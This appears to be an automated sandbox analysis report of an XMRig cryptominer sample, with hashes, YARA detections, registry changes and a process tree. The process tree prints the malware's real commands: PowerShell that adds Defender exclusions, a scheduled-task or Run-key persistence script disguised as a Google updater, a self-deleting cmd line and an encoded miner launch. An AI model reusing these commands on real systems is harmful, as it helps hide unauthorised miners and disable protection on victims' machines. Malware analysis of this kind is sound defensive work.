xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
1799s
max time network
1795s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2024 11:19

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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 1812 created 3424	1812	qM5GMXBk6hJE6Y5e (27).exe	41
PID 1812 created 3424	1812	qM5GMXBk6hJE6Y5e (27).exe	41
PID 1812 created 3424	1812	qM5GMXBk6hJE6Y5e (27).exe	41
PID 1812 created 3424	1812	qM5GMXBk6hJE6Y5e (27).exe	41
PID 3612 created 3424	3612	updater.exe	41
PID 3612 created 3424	3612	updater.exe	41
PID 3612 created 3424	3612	updater.exe	41
PID 3612 created 3424	3612	updater.exe	41
PID 3612 created 3424	3612	updater.exe	41

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral26/memory/5100-127-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-131-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-133-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-134-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-136-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-140-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-142-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-144-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-146-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-148-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-150-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-152-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-154-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-156-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-158-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-160-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-162-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-164-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-166-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-168-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-170-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-172-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-174-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-176-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-178-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-180-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-182-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-184-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-186-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig
behavioral26/memory/5100-188-0x00007FF600280000-0x00007FF600A74000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
3612	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral26/memory/5100-123-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-127-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-131-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-133-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-134-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-136-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-140-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-142-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-144-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-146-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-148-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-150-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-152-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-154-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-156-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-158-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-160-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-162-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-164-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-166-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-168-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-170-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-172-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-174-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-176-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-178-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-180-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-182-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-184-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-186-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx
behavioral26/memory/5100-188-0x00007FF600280000-0x00007FF600A74000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3612 set thread context of 4976	3612	updater.exe	116
PID 3612 set thread context of 5100	3612	updater.exe	111

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (27).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1792	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
1812	qM5GMXBk6hJE6Y5e (27).exe
1812	qM5GMXBk6hJE6Y5e (27).exe
3872	powershell.exe
3872	powershell.exe
1812	qM5GMXBk6hJE6Y5e (27).exe
1812	qM5GMXBk6hJE6Y5e (27).exe
3496	powershell.exe
3496	powershell.exe
1812	qM5GMXBk6hJE6Y5e (27).exe
1812	qM5GMXBk6hJE6Y5e (27).exe
1812	qM5GMXBk6hJE6Y5e (27).exe
1812	qM5GMXBk6hJE6Y5e (27).exe
3788	powershell.exe
3788	powershell.exe
3612	updater.exe
3612	updater.exe
784	powershell.exe
784	powershell.exe
3612	updater.exe
3612	updater.exe
4624	powershell.exe
4624	powershell.exe
3612	updater.exe
3612	updater.exe
3612	updater.exe
3612	updater.exe
4976	conhost.exe
4976	conhost.exe
3612	updater.exe
3612	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeIncreaseQuotaPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	3496	powershell.exe
Token: SeTakeOwnershipPrivilege	3496	powershell.exe
Token: SeLoadDriverPrivilege	3496	powershell.exe
Token: SeSystemProfilePrivilege	3496	powershell.exe
Token: SeSystemtimePrivilege	3496	powershell.exe
Token: SeProfSingleProcessPrivilege	3496	powershell.exe
Token: SeIncBasePriorityPrivilege	3496	powershell.exe
Token: SeCreatePagefilePrivilege	3496	powershell.exe
Token: SeBackupPrivilege	3496	powershell.exe
Token: SeRestorePrivilege	3496	powershell.exe
Token: SeShutdownPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSystemEnvironmentPrivilege	3496	powershell.exe
Token: SeRemoteShutdownPrivilege	3496	powershell.exe
Token: SeUndockPrivilege	3496	powershell.exe
Token: SeManageVolumePrivilege	3496	powershell.exe
Token: 33	3496	powershell.exe
Token: 34	3496	powershell.exe
Token: 35	3496	powershell.exe
Token: 36	3496	powershell.exe
Token: SeIncreaseQuotaPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	3496	powershell.exe
Token: SeTakeOwnershipPrivilege	3496	powershell.exe
Token: SeLoadDriverPrivilege	3496	powershell.exe
Token: SeSystemProfilePrivilege	3496	powershell.exe
Token: SeSystemtimePrivilege	3496	powershell.exe
Token: SeProfSingleProcessPrivilege	3496	powershell.exe
Token: SeIncBasePriorityPrivilege	3496	powershell.exe
Token: SeCreatePagefilePrivilege	3496	powershell.exe
Token: SeBackupPrivilege	3496	powershell.exe
Token: SeRestorePrivilege	3496	powershell.exe
Token: SeShutdownPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSystemEnvironmentPrivilege	3496	powershell.exe
Token: SeRemoteShutdownPrivilege	3496	powershell.exe
Token: SeUndockPrivilege	3496	powershell.exe
Token: SeManageVolumePrivilege	3496	powershell.exe
Token: 33	3496	powershell.exe
Token: 34	3496	powershell.exe
Token: 35	3496	powershell.exe
Token: 36	3496	powershell.exe
Token: SeIncreaseQuotaPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	3496	powershell.exe
Token: SeTakeOwnershipPrivilege	3496	powershell.exe
Token: SeLoadDriverPrivilege	3496	powershell.exe
Token: SeSystemProfilePrivilege	3496	powershell.exe
Token: SeSystemtimePrivilege	3496	powershell.exe
Token: SeProfSingleProcessPrivilege	3496	powershell.exe
Token: SeIncBasePriorityPrivilege	3496	powershell.exe
Token: SeCreatePagefilePrivilege	3496	powershell.exe
Token: SeBackupPrivilege	3496	powershell.exe
Token: SeRestorePrivilege	3496	powershell.exe
Token: SeShutdownPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSystemEnvironmentPrivilege	3496	powershell.exe
Token: SeRemoteShutdownPrivilege	3496	powershell.exe
Token: SeUndockPrivilege	3496	powershell.exe
Token: SeManageVolumePrivilege	3496	powershell.exe
Token: 33	3496	powershell.exe
Token: 34	3496	powershell.exe
Token: 35	3496	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3980 wrote to memory of 3236	3980	cmd.exe	100
PID 3980 wrote to memory of 3236	3980	cmd.exe	100
PID 3788 wrote to memory of 3020	3788	powershell.exe	103
PID 3788 wrote to memory of 3020	3788	powershell.exe	103
PID 3612 wrote to memory of 4976	3612	updater.exe	116
PID 5016 wrote to memory of 1792	5016	cmd.exe	112
PID 5016 wrote to memory of 1792	5016	cmd.exe	112
PID 3612 wrote to memory of 5100	3612	updater.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3424
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3496
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4624
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:5100
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:5016
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4976

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:3236

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3612

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:1792

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
PID:1112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
103KB

MD5
33c2a0fcc5cf4f42d4d1ad4a7e76665f

SHA1
d55699c5f1883410246b51a0d4687f622f3e079d

SHA256
9c6dbcc2816c2519122180571f524b8412ec75829af7ce7025d788c89dac96f5

SHA512
a8552ea169663d27031894ddfeceac9f13e06a8234ec125e57bcab5b8d13047ba1b6f647f4b4eb45df46327a2933e3cbfbcd6576c042cc32eb31532d9a17087e

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
787KB

MD5
ec022878c2599cd7215a73c2bf1cf58d

SHA1
412d4a3a643f52590266c2d5a116710073448f9c

SHA256
9d0a68dcb044c700bfc2fcf73bb95ae08adc8ca061e2858d765c4fb314c385e3

SHA512
4699296fda3779a69e16083f18a70a8915f52fa3a529a95c6ffde6a1cbca08a59e83ac9d4d41792f8ce8ac08f01fb9c7e7bf04f657eda0774d88656fa41eb9b5

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
